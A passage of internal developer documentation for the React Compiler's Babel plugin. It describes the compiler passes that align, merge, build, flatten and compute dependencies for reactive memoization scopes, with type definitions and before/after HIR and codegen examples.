    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/15-alignReactiveScopesToBlockScopesHIR.md",
    "content": "# alignReactiveScopesToBlockScopesHIR\n\n## File\n`src/ReactiveScopes/AlignReactiveScopesToBlockScopesHIR.ts`\n\n## Purpose\nThis is the **2nd of 4 passes** that determine how to break a function into discrete reactive scopes (independently memoizable units of code). The pass aligns reactive scope boundaries to control flow (block scope) boundaries.\n\nThe problem it solves: Prior inference passes assign reactive scopes to operands based on mutation ranges at arbitrary instruction points in the control-flow graph. However, to generate memoization blocks around instructions, scopes must be aligned to block-scope boundaries -- you cannot memoize half of a loop or half of an if-block.\n\n**Example from the source code comments:**\n```javascript\nfunction foo(cond, a) {\n                    // original scope end\n                         // expanded scope end\n   const x = [];    |    |\n   if (cond) {      |    |\n     ...            |    |\n     x.push(a);     <--- original scope ended here\n     ...                 |\n   }                     <--- scope must extend to here\n}\n```\n\n## Input Invariants\n- `InferReactiveScopeVariables` has run: Each identifier has been assigned a `ReactiveScope` with a `range` (start/end instruction IDs) based on mutation analysis\n- The HIR is in SSA form: Blocks have unique IDs, instructions have unique IDs, and control flow is represented with basic blocks\n- Each block has a terminal with possible successors and fallthroughs\n- Each scope has a mutable range `{start: InstructionId, end: InstructionId}` indicating when the scope is active\n\n## Output Guarantees\n- **Scopes end at valid block boundaries**: A reactive scope may only end at the same block scope level as it began. The scope's `range.end` is updated to the first instruction of the fallthrough block after any control flow structure that the scope overlaps\n- **Scopes start at valid block boundaries**: For labeled breaks (gotos to a label), scopes that extend beyond the goto have their `range.start` extended back to include the label\n- **Value blocks (ternary, logical, optional) are handled specially**: Scopes inside value blocks are extended to align with the outer block scope's instruction range\n\n## Algorithm\n\nThe pass performs a single forward traversal over all blocks:\n\n### 1. Tracking Active Scopes\n- Maintains `activeScopes: Set<ReactiveScope>` - scopes whose range overlaps the current block\n- Maintains `activeBlockFallthroughRanges: Array<{range, fallthrough}>` - stack of pending block-fallthrough ranges\n\n### 2. Per-Block Processing\nFor each block:\n- Prune `activeScopes` to only those that extend past the current block's start\n- If this block is a fallthrough target, pop the range from the stack and extend all active scopes' start to the range start\n\n### 3. Recording Places\nFor each instruction lvalue and operand:\n- If the place has a scope, add it to `activeScopes`\n- If inside a value block, extend the scope's range to match the value block's outer range\n\n### 4. Handling Block Fallthroughs\nWhen a terminal has a fallthrough (not a simple branch):\n- Extend all active scopes whose `range.end > terminal.id` to at least the first instruction of the fallthrough block\n- Push the fallthrough range onto the stack for future scopes\n\n### 5. Handling Labeled Breaks (Goto)\nWhen encountering a goto to a label (not the natural fallthrough):\n- Find the corresponding fallthrough range on the stack\n- Extend all active scopes to span from the label start to its fallthrough end\n\n### 6. Value Block Handling\nFor ternary, logical, and optional terminals:\n- Create `ValueBlockNode` to track the outer block's instruction range\n- Scopes inside value blocks inherit this range, ensuring they align to the outer block scope\n\n## Key Data Structures\n\n```typescript\ntype ValueBlockNode = {\n  kind: 'node';\n  id: InstructionId;\n  valueRange: MutableRange;  // Range of outer block scope\n  children: Array<ValueBlockNode | ReactiveScopeNode>;\n};\n\ntype ReactiveScopeNode = {\n  kind: 'scope';\n  id: InstructionId;\n  scope: ReactiveScope;\n};\n\n// Tracked during traversal:\nactiveBlockFallthroughRanges: Array<{\n  range: InstructionRange;\n  fallthrough: BlockId;\n}>;\nactiveScopes: Set<ReactiveScope>;\nvalueBlockNodes: Map<BlockId, ValueBlockNode>;\n```\n\n## Edge Cases\n\n### Labeled Breaks\nWhen a `goto` jumps to a label (not the natural fallthrough), scopes must be extended to include the entire labeled block range, preventing the break from jumping out of the scope.\n\n### Value Blocks (Ternary/Logical/Optional)\nThese create nested \"value\" contexts. Scopes inside must be aligned to the outer block scope's boundaries, not the value block's boundaries.\n\n### Nested Control Flow\nDeeply nested if-statements require the scope to be extended through all levels back to the outermost block where the scope started.\n\n### do-while and try/catch\nThe terminal's successor might be a block (not value block), which is handled specially.\n\n## TODOs\n1. `// TODO: consider pruning activeScopes per instruction` - Currently, `activeScopes` is only pruned at block start points. Some scopes may no longer be active by the time a goto is encountered.\n\n2. `// TODO: add a variant of eachTerminalSuccessor() that visits _all_ successors, not just those that are direct successors for normal control-flow ordering.` - The current implementation uses `mapTerminalSuccessors` which may not visit all successors in all cases.\n\n## Example\n\n### Fixture: `extend-scopes-if.js`\n\n**Input:**\n```javascript\nfunction foo(a, b, c) {\n  let x = [];\n  if (a) {\n    if (b) {\n      if (c) {\n        x.push(0);  // Mutation of x ends here (instruction 12-13)\n      }\n    }\n  }\n  if (x.length) {  // instruction 16\n    return x;\n  }\n  return null;\n}\n```\n\n**Before AlignReactiveScopesToBlockScopesHIR:**\n```\nx$23_@0[1:13]  // Scope range 1-13\n```\nThe scope for `x` ends at instruction 13 (inside the innermost if block).\n\n**After AlignReactiveScopesToBlockScopesHIR:**\n```\nx$23_@0[1:16]  // Scope range extended to 1-16\n```\nThe scope is extended to instruction 16 (the first instruction after all the nested if-blocks), aligning to the block scope boundary.\n\n**Generated Code:**\n```javascript\nfunction foo(a, b, c) {\n  const $ = _c(4);\n  let x;\n  if ($[0] !== a || $[1] !== b || $[2] !== c) {\n    x = [];\n    if (a) {\n      if (b) {\n        if (c) {\n          x.push(0);\n        }\n      }\n    }\n    // Scope ends here, after ALL the if-blocks\n    $[0] = a;\n    $[1] = b;\n    $[2] = c;\n    $[3] = x;\n  } else {\n    x = $[3];\n  }\n  // Code outside the scope\n  if (x.length) {\n    return x;\n  }\n  return null;\n}\n```\n\nThe memoization block correctly wraps the entire nested if-structure, not just part of it.\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/16-mergeOverlappingReactiveScopesHIR.md",
    "content": "# mergeOverlappingReactiveScopesHIR\n\n## File\n`src/HIR/MergeOverlappingReactiveScopesHIR.ts`\n\n## Purpose\nThis pass ensures that reactive scope ranges form valid, non-overlapping blocks in the output JavaScript program. It merges reactive scopes that would otherwise be inconsistent with each other due to:\n\n1. **Overlapping ranges**: Scopes whose instruction ranges partially overlap (not disjoint and not nested) must be merged because the compiler cannot produce valid `if-else` memo blocks for overlapping scopes.\n\n2. **Cross-scope mutations**: When an instruction within one scope mutates a value belonging to a different (outer) scope, those scopes must be merged to maintain correctness.\n\nThe pass guarantees that after execution, any two reactive scopes are either:\n- Entirely disjoint (no common instructions)\n- Properly nested (one scope is completely contained within the other)\n\n## Input Invariants\n- Reactive scope variables have been inferred (`InferReactiveScopeVariables` pass has run)\n- Scopes have been aligned to block scopes (`AlignReactiveScopesToBlockScopesHIR` pass has run)\n- Each `Place` may have an associated `ReactiveScope` with a `range` (start/end instruction IDs)\n- Scopes may still have overlapping ranges or contain instructions that mutate outer scopes\n\n## Output Guarantees\n- **No overlapping scopes**: All reactive scopes either are disjoint or properly nested\n- **Consistent mutation boundaries**: Instructions only mutate their \"active\" scope (the innermost containing scope)\n- **Merged scope ranges**: Merged scopes have their ranges extended to cover the union of all constituent scopes\n- **Updated references**: All `Place` references have their `identifier.scope` updated to point to the merged scope\n\n## Algorithm\n\n### Phase 1: Collect Scope Information (`collectScopeInfo`)\n- Iterates through all instructions and terminals in the function\n- Records for each `Place`:\n  - The scope it belongs to (`placeScopes` map)\n  - When scopes start and end (`scopeStarts` and `scopeEnds` arrays, sorted in descending order by ID)\n- Only records scopes with non-empty ranges (`range.start !== range.end`)\n\n### Phase 2: Detect Overlapping Scopes (`getOverlappingReactiveScopes`)\nUses a stack-based traversal to track \"active\" scopes at each instruction:\n\n1. **For each instruction/terminal**:\n   - **Handle scope endings**: Pop completed scopes from the active stack. If a scope ends while other scopes that started later are still active (detected by finding the scope is not at the top of the stack), those scopes overlap and must be merged via `DisjointSet.union()`.\n\n   - **Handle scope starts**: Push new scopes onto the active stack (sorted by end time descending so earlier-ending scopes are at the top). Merge any scopes that have identical start/end ranges.\n\n   - **Handle mutations**: For each operand/lvalue, if it:\n     - Has an associated scope\n     - Is mutable at the current instruction\n     - The scope is active but not at the top of the stack (i.e., an outer scope)\n\n     Then merge all scopes from the mutated outer scope to the top of the stack.\n\n2. **Special case**: Primitive operands in `FunctionExpression` and `ObjectMethod` are skipped.\n\n### Phase 3: Merge Scopes and Rewrite References\n1. For each scope in the disjoint set, compute the merged range as the union (min start, max end)\n2. Update all `Place.identifier.scope` references to point to the merged \"group\" scope\n\n## Key Data Structures\n\n### ScopeInfo\n```typescript\ntype ScopeInfo = {\n  scopeStarts: Array<{id: InstructionId; scopes: Set<ReactiveScope>}>;\n  scopeEnds: Array<{id: InstructionId; scopes: Set<ReactiveScope>}>;\n  placeScopes: Map<Place, ReactiveScope>;\n};\n```\n\n### TraversalState\n```typescript\ntype TraversalState = {\n  joined: DisjointSet<ReactiveScope>;  // Union-find for merged scopes\n  activeScopes: Array<ReactiveScope>;   // Stack of currently active scopes\n};\n```\n\n### DisjointSet<ReactiveScope>\nA union-find data structure that tracks which scopes should be merged into the same group.\n\n## Edge Cases\n\n### Identical Scope Ranges\nWhen multiple scopes have the exact same start and end, they are automatically merged since they would produce the same reactive block.\n\n### Empty Scopes\nScopes where `range.start === range.end` are skipped entirely.\n\n### Primitive Captures in Functions\nWhen a `FunctionExpression` or `ObjectMethod` captures a primitive operand, it's excluded from scope merging analysis.\n\n### JSX Single-Instruction Scopes\nThe comment in the code notes this isn't perfect - mutating scopes may get merged with JSX single-instruction scopes.\n\n### Non-Mutating Captures\nThe pass records both mutating and non-mutating scopes to handle cases where still-mutating values are aliased by inner scopes.\n\n## TODOs\nFrom the comments in the source file, the design constraints arise from the current compiler output design:\n- **Instruction ordering is preserved**: If reordering were allowed, disjoint ranges could be produced by reordering mutating instructions\n- **One if-else block per scope**: The current design doesn't allow composing a reactive scope from disconnected instruction ranges\n\n## Example\n\n### Fixture: `overlapping-scopes-interleaved.js`\n\n**Input Code:**\n```javascript\nfunction foo(a, b) {\n  let x = [];\n  let y = [];\n  x.push(a);\n  y.push(b);\n}\n```\n\n**Before MergeOverlappingReactiveScopesHIR:**\n```\n[1] $20_@0[1:9] = Array []        // x belongs to scope @0, range [1:9]\n[2] x$21_@0[1:9] = StoreLocal...\n[3] $23_@1[3:13] = Array []       // y belongs to scope @1, range [3:13]\n[4] y$24_@1[3:13] = StoreLocal...\n```\nScopes @0 [1:9] and @1 [3:13] overlap: @0 starts at 1, @1 starts at 3, @0 ends at 9, @1 ends at 13. This is invalid.\n\n**After MergeOverlappingReactiveScopesHIR:**\n```\n[1] $20_@0[1:13] = Array []       // Merged scope @0, range [1:13]\n[2] x$21_@0[1:13] = StoreLocal...\n[3] $23_@0[1:13] = Array []       // Now also scope @0\n[4] y$24_@0[1:13] = StoreLocal...\n```\n\nBoth `x` and `y` now belong to the same merged scope @0 with range [1:13], producing a single `if-else` memo block in the output.\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/17-buildReactiveScopeTerminalsHIR.md",
    "content": "# buildReactiveScopeTerminalsHIR\n\n## File\n`src/HIR/BuildReactiveScopeTerminalsHIR.ts`\n\n## Purpose\nThis pass transforms the HIR by inserting `ReactiveScopeTerminal` nodes to explicitly demarcate the boundaries of reactive scopes within the control flow graph. It converts the implicit scope ranges (stored on identifiers as `identifier.scope.range`) into explicit control flow structure by:\n\n1. Inserting a `scope` terminal at the **start** of each reactive scope\n2. Inserting a `goto` terminal at the **end** of each reactive scope\n3. Creating fallthrough blocks to properly connect the scopes to the rest of the CFG\n\nThis transformation makes scope boundaries first-class elements in the CFG, which is essential for later passes that generate the memoization code (the `if ($[n] !== dep)` checks).\n\n## Input Invariants\n- **Properly nested scopes and blocks**: The pass assumes `assertValidBlockNesting` has passed, meaning all program blocks and reactive scopes form a proper tree hierarchy\n- **Aligned scope ranges**: Reactive scope ranges have been correctly aligned and merged by previous passes\n- **Valid instruction IDs**: All instructions have sequential IDs that define the scope boundaries\n- **Scopes attached to identifiers**: Reactive scopes are found by traversing all `Place` operands and collecting unique non-empty scopes\n\n## Output Guarantees\n- **Explicit scope terminals**: Each reactive scope is represented in the CFG as a `ReactiveScopeTerminal` with:\n  - `block` - The BlockId containing the scope's instructions\n  - `fallthrough` - The BlockId that executes after the scope\n- **Proper block structure**: Original blocks are split at scope boundaries\n- **Restored HIR invariants**: The pass restores RPO ordering, predecessor sets, instruction IDs, and scope/identifier ranges\n- **Updated phi nodes**: Phi operands are repointed when their source blocks are split\n\n## Algorithm\n\n### Step 1: Collect Scope Rewrites\n```\nfor each reactive scope (in range pre-order):\n  push StartScope rewrite at scope.range.start\n  push EndScope rewrite at scope.range.end\n```\nThe `recursivelyTraverseItems` helper traverses scopes in pre-order (outer scopes before inner scopes).\n\n### Step 2: Apply Rewrites by Splitting Blocks\n```\nreverse queuedRewrites (to pop in ascending instruction order)\nfor each block:\n  for each instruction (or terminal):\n    while there are rewrites <= current instruction ID:\n      split block at current index\n      insert scope terminal (for start) or goto terminal (for end)\n  emit final block segment with original terminal\n```\n\n### Step 3: Repoint Phi Nodes\nWhen a block is split, its final segment gets a new BlockId. Phi operands that referenced the original block are updated to reference the new final block.\n\n### Step 4: Restore HIR Invariants\n- Recompute RPO (reverse post-order) block traversal\n- Recalculate predecessor sets\n- Renumber instruction IDs\n- Fix scope and identifier ranges to match new instruction IDs\n\n## Key Data Structures\n\n### TerminalRewriteInfo\n```typescript\ntype TerminalRewriteInfo =\n  | {\n      kind: 'StartScope';\n      blockId: BlockId;        // New block for scope content\n      fallthroughId: BlockId;  // Block after scope ends\n      instrId: InstructionId;  // Where to insert\n      scope: ReactiveScope;    // The scope being created\n    }\n  | {\n      kind: 'EndScope';\n      instrId: InstructionId;  // Where to insert\n      fallthroughId: BlockId;  // Same as corresponding StartScope\n    };\n```\n\n### RewriteContext\n```typescript\ntype RewriteContext = {\n  source: BasicBlock;        // Original block being split\n  instrSliceIdx: number;     // Current slice start index\n  nextPreds: Set<BlockId>;   // Predecessors for next emitted block\n  nextBlockId: BlockId;      // BlockId for next emitted block\n  rewrites: Array<BasicBlock>; // Accumulated split blocks\n};\n```\n\n### ScopeTraversalContext\n```typescript\ntype ScopeTraversalContext = {\n  fallthroughs: Map<ScopeId, BlockId>; // Cache: scope -> its fallthrough block\n  rewrites: Array<TerminalRewriteInfo>;\n  env: Environment;\n};\n```\n\n## Edge Cases\n\n### Multiple Rewrites at Same Instruction ID\nThe while loop in Step 2 handles multiple scope start/ends at the same instruction ID.\n\n### Nested Scopes\nThe pre-order traversal ensures outer scopes are processed before inner scopes, creating proper nesting in the CFG.\n\n### Empty Blocks After Split\nWhen a scope boundary falls at the start of a block, the split may create a block with no instructions (only a terminal).\n\n### Control Flow Within Scopes\nThe pass preserves existing control flow (if/else, loops) within scopes; it only adds scope entry/exit points.\n\n### Early Returns\nWhen a return occurs within a scope, the scope terminal still has a fallthrough block, but that block may contain `Unreachable` terminal.\n\n## TODOs\nLine 283-284:\n```typescript\n// TODO make consistent instruction IDs instead of reusing\n```\n\n## Example\n\n### Fixture: `reactive-scopes-if.js`\n\n**Before BuildReactiveScopeTerminalsHIR:**\n```\nbb0 (block):\n  [1] $29_@0[1:22] = Array []           // x with scope @0 range [1:22]\n  [2] StoreLocal x$30_@0 = $29_@0\n  [3] $32 = LoadLocal a$26\n  [4] If ($32) then:bb2 else:bb3 fallthrough=bb1\nbb2:\n  [5] $33_@1[5:11] = Array []           // y with scope @1 range [5:11]\n  ...\n```\n\n**After BuildReactiveScopeTerminalsHIR:**\n```\nbb0 (block):\n  [1] Scope @0 [1:28] block=bb9 fallthrough=bb10   // <-- scope terminal inserted\nbb9:\n  [2] $29_@0 = Array []\n  [3] StoreLocal x$30_@0 = $29_@0\n  [4] $32 = LoadLocal a$26\n  [5] If ($32) then:bb2 else:bb3 fallthrough=bb1\nbb2:\n  [6] Scope @1 [6:14] block=bb11 fallthrough=bb12  // <-- nested scope terminal\nbb11:\n  [7] $33_@1 = Array []\n  ...\n  [13] Goto bb12                                    // <-- scope end goto\nbb12:\n  ...\nbb1:\n  [27] Goto bb10                                    // <-- scope @0 end goto\nbb10:\n  [28] $50 = LoadLocal x$30_@0\n  [29] Return $50\n```\n\nThe key transformation is that scope boundaries become explicit control flow: a `Scope` terminal enters the scope content block, and a `Goto` terminal exits to the fallthrough block. This structure is later used to generate the memoization checks.\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/18-flattenReactiveLoopsHIR.md",
    "content": "# flattenReactiveLoopsHIR\n\n## File\n`src/ReactiveScopes/FlattenReactiveLoopsHIR.ts`\n\n## Purpose\nThis pass **prunes reactive scopes that are nested inside loops** (for, for-in, for-of, while, do-while). The compiler does not yet support memoization within loops because:\n\n1. Loop iterations would require reconciliation across runs (similar to how `key` is used in JSX for lists)\n2. There is no way to identify values across iterations\n3. The current approach is to memoize *around* the loop rather than *within* it\n\nWhen a reactive scope is found inside a loop body, the pass converts its terminal from `scope` to `pruned-scope`. A `pruned-scope` terminal is later treated specially during codegen - its instructions are emitted inline without any memoization guards.\n\n## Input Invariants\n- The HIR has been through `buildReactiveScopeTerminalsHIR`, which creates `scope` terminal nodes for reactive scopes\n- The HIR is in valid block form with proper terminal kinds\n- The block ordering respects control flow (blocks are iterated in order, with loop fallthroughs appearing after loop bodies)\n\n## Output Guarantees\n- All `scope` terminals that appear inside any loop body are converted to `pruned-scope` terminals\n- Scopes outside of loops remain unchanged as `scope` terminals\n- The structure of blocks is preserved; only the terminal kind is mutated\n- The `pruned-scope` terminal retains all the same fields as `scope` (block, fallthrough, scope, id, loc)\n\n## Algorithm\n\nThe algorithm uses a **linear scan with a stack-based loop tracking** approach:\n\n```\n1. Initialize an empty array `activeLoops` to track which loop(s) we are currently inside\n2. For each block in the function body (in order):\n   a. Remove the current block ID from activeLoops (if present)\n      - This happens when we reach a loop's fallthrough block, exiting the loop\n   b. Examine the block's terminal:\n      - If it's a loop terminal (do-while, for, for-in, for-of, while):\n        Push the loop's fallthrough block ID onto activeLoops\n      - If it's a scope terminal AND activeLoops is non-empty:\n        Convert the terminal to pruned-scope (keeping all other fields)\n      - All other terminal kinds are ignored\n```\n\nKey insight: The algorithm tracks when we \"enter\" a loop by pushing the fallthrough ID when encountering a loop terminal, and \"exits\" the loop when that fallthrough block is visited.\n\n## Key Data Structures\n\n### activeLoops: Array<BlockId>\nA stack of block IDs representing loop fallthroughs. When non-empty, we are inside one or more nested loops.\n\n### PrunedScopeTerminal\n```typescript\nexport type PrunedScopeTerminal = {\n  kind: 'pruned-scope';\n  fallthrough: BlockId;\n  block: BlockId;\n  scope: ReactiveScope;\n  id: InstructionId;\n  loc: SourceLocation;\n};\n```\n\n### retainWhere\nUtility from utils.ts - an in-place array filter that removes elements not matching the predicate.\n\n## Edge Cases\n\n### Nested Loops\nThe algorithm handles nested loops correctly because `activeLoops` is an array that can contain multiple fallthrough IDs. A scope deep inside multiple nested loops will still be pruned.\n\n### Scope Spanning the Loop\nIf a scope terminal appears before the loop terminal but its body contains the loop, it is NOT pruned because the scope terminal itself is not inside the loop.\n\n### Multiple Loops in Sequence\nWhen exiting one loop (reaching its fallthrough) and entering another, `activeLoops` correctly clears the first loop before potentially adding the second.\n\n### Control Flow That Exits Loops (break/return)\nThe algorithm relies on block ordering and fallthrough IDs. Early exits via break/return don't affect the tracking since we track by fallthrough block ID.\n\n## TODOs\nNo explicit TODOs in this file. However, the docstring mentions future improvements:\n> \"Eventually we may integrate more deeply into the runtime so that we can do a single level of reconciliation\"\n\nThis suggests a potential future feature to support memoization within loops via runtime integration.\n\n## Example\n\n### Fixture: `repro-memoize-for-of-collection-when-loop-body-returns.js`\n\n**Input:**\n```javascript\nfunction useHook(nodeID, condition) {\n  const graph = useContext(GraphContext);\n  const node = nodeID != null ? graph[nodeID] : null;\n\n  for (const key of Object.keys(node?.fields ?? {})) {\n    if (condition) {\n      return new Class(node.fields?.[field]);  // <-- Scope @4 is here\n    }\n  }\n  return new Class();  // <-- Scope @5 is here (outside loop)\n}\n```\n\n**Before FlattenReactiveLoopsHIR:**\n```\n[45] Scope scope @3 [45:72] ... block=bb35 fallthrough=bb36\nbb35:\n  [46] ForOf init=bb6 test=bb7 loop=bb8 fallthrough=bb5\n  ...\n  [66] Scope scope @4 [66:69] ... block=bb37 fallthrough=bb38  <-- Inside loop\n  ...\n  [73] Scope scope @5 [73:76] ... block=bb39 fallthrough=bb40  <-- Outside loop\n```\n\n**After FlattenReactiveLoopsHIR:**\n```\n[45] Scope scope @3 [45:72] ... block=bb35 fallthrough=bb36    <-- Unchanged\n...\n[66] <pruned> Scope scope @4 [66:69] ... block=bb37 fallthrough=bb38  <-- PRUNED!\n...\n[73] Scope scope @5 [73:76] ... block=bb39 fallthrough=bb40    <-- Unchanged\n```\n\n**Final Codegen Result:**\n```javascript\nfunction useHook(nodeID, condition) {\n  const $ = _c(7);\n  // ... memoized Object.keys call (scope @2)\n\n  let t1;\n  if ($[2] !== condition || $[3] !== node || $[4] !== t0) {\n    // Scope @3 wraps the loop\n    t1 = Symbol.for(\"react.early_return_sentinel\");\n    bb0: for (const key of t0) {\n      if (condition) {\n        t1 = new Class(node.fields?.[field]);  // Scope @4 was PRUNED - no memoization\n        break bb0;\n      }\n    }\n    $[2] = condition;\n    $[3] = node;\n    $[4] = t0;\n    $[5] = t1;\n  } else {\n    t1 = $[5];\n  }\n  // ...\n\n  // Scope @5 - memoized (sentinel check)\n  if ($[6] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t2 = new Class();\n    $[6] = t2;\n  }\n  return t2;\n}\n```\n\nThe `new Class(...)` inside the loop has no memoization guards because scope @4 was pruned. The `new Class()` outside the loop retains its memoization via scope @5.\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/19-flattenScopesWithHooksOrUseHIR.md",
    "content": "# flattenScopesWithHooksOrUseHIR\n\n## File\n`src/ReactiveScopes/FlattenScopesWithHooksOrUseHIR.ts`\n\n## Purpose\nThis pass removes (flattens) reactive scopes that transitively contain hook calls or `use()` operator calls. The key insight is that:\n\n1. **Hooks cannot be called conditionally** - wrapping them in a memoized scope would make them conditionally called based on whether the cache is valid\n2. **The `use()` operator** - while it can be called conditionally in source code, React requires it to be called consistently if the component needs the returned value. Memoizing a scope containing `use()` would also make it conditionally called.\n\nBy running reactive scope inference first (agnostic of hooks), the compiler knows which values \"construct together\" in the same scope. The pass then removes ALL memoization for scopes containing hook/use calls to ensure they are always executed unconditionally.\n\n## Input Invariants\n- HIR must have reactive scope terminals already built (pass runs after `BuildReactiveScopeTerminalsHIR`)\n- Blocks are visited in order (the pass iterates through `fn.body.blocks`)\n- Scope terminals have a `block` (body of the scope) and `fallthrough` (block after the scope)\n- Type inference has run so that `getHookKind()` and `isUseOperator()` can identify hooks and use() calls\n\n## Output Guarantees\n- All scopes that transitively contained a hook or `use()` call are either:\n  - Converted to `LabelTerminal` - if the scope body is trivial (just the hook call and a goto)\n  - Converted to `PrunedScopeTerminal` - if the scope body contains other instructions besides the hook call\n- The `PrunedScopeTerminal` still tracks the original scope information for downstream passes but will not generate memoization code\n- The control flow structure is preserved (same blocks, same fallthroughs)\n\n## Algorithm\n\n### Phase 1: Identify Scopes Containing Hook/Use Calls\n1. Maintain a stack `activeScopes` of currently \"open\" reactive scopes\n2. Iterate through all blocks in order\n3. When entering a block:\n   - Remove any scopes from `activeScopes` whose fallthrough equals the current block (those scopes have ended)\n4. For each instruction in the block:\n   - If it's a `CallExpression` or `MethodCall` and the callee is a hook or use operator:\n     - Add all currently active scopes to the `prune` list\n     - Clear `activeScopes` (these scopes are now marked for pruning)\n5. If the block's terminal is a `scope`:\n   - Push it onto `activeScopes`\n\n### Phase 2: Prune Identified Scopes\nFor each block ID in `prune`:\n1. Get the scope terminal\n2. Check if the scope body is trivial (single instruction + goto to fallthrough):\n   - If trivial: Convert to `LabelTerminal` (will be removed by `PruneUnusedLabels`)\n   - If non-trivial: Convert to `PrunedScopeTerminal` (preserves scope info but skips memoization)\n\n## Key Data Structures\n\n```typescript\n// Stack tracking currently open scopes\nactiveScopes: Array<{block: BlockId; fallthrough: BlockId}>\n\n// List of block IDs whose scope terminals should be pruned\nprune: Array<BlockId>\n\n// Terminal types used\nLabelTerminal: {kind: 'label', block, fallthrough, id, loc}\nPrunedScopeTerminal: {kind: 'pruned-scope', block, fallthrough, scope, id, loc}\nReactiveScopeTerminal: {kind: 'scope', block, fallthrough, scope, id, loc}\n```\n\n## Edge Cases\n\n### Nested Scopes\nWhen a hook is found in an inner scope, ALL enclosing scopes are also pruned (the hook call would become conditional if any outer scope were memoized).\n\n### Method Call Hooks\nHandles both `CallExpression` (e.g., `useHook(...)`) and `MethodCall` (e.g., `obj.useHook(...)`).\n\n### Trivial Hook-Only Scopes\nIf a scope exists just for a hook call (single instruction + goto), it's converted to a `LabelTerminal` which is a simpler structure that gets cleaned up by later passes.\n\n### Multiple Hooks in Sequence\nOnce the first hook is encountered, all active scopes are pruned and cleared, so subsequent hooks in outer scopes still work correctly.\n\n## TODOs\nNone explicitly marked in the source file.\n\n## Example\n\n### Fixture: `nested-scopes-hook-call.js`\n\n**Input:**\n```javascript\nfunction component(props) {\n  let x = [];\n  let y = [];\n  y.push(useHook(props.foo));\n  x.push(y);\n  return x;\n}\n```\n\n**Before FlattenScopesWithHooksOrUseHIR:**\n```\nbb0:\n  [1] Scope @0 [1:22] block=bb6 fallthrough=bb7    // Outer scope for x\nbb6:\n  [2] $22 = Array []         // x = []\n  [3] StoreLocal x = $22\n  [4] Scope @1 [4:17] block=bb8 fallthrough=bb9   // Inner scope for y\nbb8:\n  [5] $25 = Array []         // y = []\n  [6] StoreLocal y = $25\n  ...\n  [10] $33 = Call useHook(...)  // <-- Hook call here!\n  [11] MethodCall y.push($33)\n```\n\n**After FlattenScopesWithHooksOrUseHIR:**\n```\nbb0:\n  [1] <pruned> Scope @0 [1:22] block=bb6 fallthrough=bb7   // PRUNED\nbb6:\n  [2] $22 = Array []\n  [3] StoreLocal x = $22\n  [4] <pruned> Scope @1 [4:17] block=bb8 fallthrough=bb9  // PRUNED\nbb8:\n  [5] $25 = Array []\n  [6] StoreLocal y = $25\n  ...\n  [12] Label block=bb10 fallthrough=bb11   // Hook call converted to label\nbb10:\n  [13] $33 = Call useHook(...)\n  [14] Goto bb11\n...\n```\n\n**Final Output (no memoization):**\n```javascript\nfunction component(props) {\n  const x = [];\n  const y = [];\n  y.push(useHook(props.foo));\n  x.push(y);\n  return x;\n}\n```\n\nNotice that:\n1. Both scope @0 and scope @1 are marked as `<pruned>` because the hook call is inside scope @1, which is inside scope @0\n2. The final output has no memoization wrappers - just the raw code\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/20-propagateScopeDependenciesHIR.md",
    "content": "# propagateScopeDependenciesHIR\n\n## File\n`src/HIR/PropagateScopeDependenciesHIR.ts`\n\n## Purpose\nThe `propagateScopeDependenciesHIR` pass is responsible for computing and assigning the **dependencies** for each reactive scope in the compiled function. Dependencies are the external values that a scope reads, which determine when the scope needs to re-execute. This is a critical step for memoization correctness - the compiler must track exactly which values a scope depends on so it can generate proper cache invalidation checks.\n\nThe pass also populates:\n- `scope.dependencies` - The set of `ReactiveScopeDependency` objects the scope reads\n- `scope.declarations` - Values declared within the scope that are used outside it\n\n## Input Invariants\n- Reactive scopes must be established (pass runs after `BuildReactiveScopeTerminalsHIR`)\n- The function must be in SSA form\n- `InferMutationAliasingRanges` must have run to establish when values are being mutated\n- `InferReactivePlaces` marks which identifiers are reactive\n- Scope ranges have been aligned and normalized by earlier passes\n\n## Output Guarantees\nAfter this pass completes:\n\n1. Each `ReactiveScope.dependencies` contains the minimal set of dependencies that:\n   - Were declared before the scope started\n   - Are read within the scope\n   - Are not ref values (which are always mutable)\n   - Are not object methods (which get codegen'd back into object literals)\n\n2. Each `ReactiveScope.declarations` contains identifiers that:\n   - Are assigned within the scope\n   - Are used outside the scope (need to be exposed as scope outputs)\n\n3. Property load chains are resolved to their root identifiers with paths (e.g., `props.user.name` becomes `{identifier: props, path: [\"user\", \"name\"]}`)\n\n4. Optional chains are handled correctly, distinguishing between `a?.b` and `a.b` access types\n\n## Algorithm\n\n### Phase 1: Build Sidemaps\n\n1. **findTemporariesUsedOutsideDeclaringScope**: Identifies temporaries that are used outside the scope where they were declared (cannot be hoisted/reordered safely)\n\n2. **collectTemporariesSidemap**: Creates a mapping from temporary IdentifierIds to their source `ReactiveScopeDependency`. For example:\n   ```\n   $0 = LoadLocal 'a'\n   $1 = PropertyLoad $0.'b'\n   ```\n   Maps `$1.id` to `{identifier: a, path: [{property: 'b', optional: false}]}`\n\n3. **collectOptionalChainSidemap**: Traverses optional chain blocks to map temporaries within optional chains to their full optional dependency path\n\n4. **collectHoistablePropertyLoads**: Uses CFG analysis to determine which property loads can be safely hoisted\n\n### Phase 2: Collect Dependencies\n\nThe `collectDependencies` function traverses the HIR, maintaining a stack of active scopes:\n\n1. **Scope Entry/Exit**: When entering a scope terminal, push a new dependency array. When exiting, propagate collected dependencies to parent scopes if valid.\n\n2. **Instruction Processing**: For each instruction:\n   - Declare the lvalue with its instruction id and current scope\n   - Visit operands to record them as potential dependencies\n   - Handle special cases like `StoreLocal` (tracks reassignments), `Destructure`, `PropertyLoad`, etc.\n\n3. **Dependency Validation** (`#checkValidDependency`):\n   - Skip ref values (`isRefValueType`)\n   - Skip object methods (`isObjectMethodType`)\n   - Only include if declared before scope start\n\n### Phase 3: Derive Minimal Dependencies\n\nFor each scope, use `ReactiveScopeDependencyTreeHIR` to:\n1. Build a tree from hoistable property loads\n2. Add all collected dependencies to the tree\n3. Truncate dependencies at their maximal safe-to-evaluate subpath\n4. Derive the minimal set (removing redundant nested dependencies)\n\n## Key Data Structures\n\n### 